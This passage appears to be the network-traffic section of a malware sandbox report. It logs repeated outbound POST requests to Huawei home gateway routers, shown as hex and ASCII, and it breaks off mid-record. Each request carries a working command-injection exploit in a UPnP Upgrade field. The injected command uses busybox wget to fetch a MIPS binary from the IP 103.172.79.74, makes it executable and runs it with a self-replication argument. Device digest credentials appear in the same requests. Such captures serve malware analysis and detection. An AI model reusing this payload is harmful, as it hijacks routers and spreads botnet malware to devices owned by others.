73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:12:52.726305008 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:13:10.133584023 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:13:44.948184013 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2024 03:13:00.720171928 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:13:00.974920988 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2024 03:13:20.209399939 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:13:21.141164064 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:13:22.997076988 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:13:26.772913933 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:13:34.196610928 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 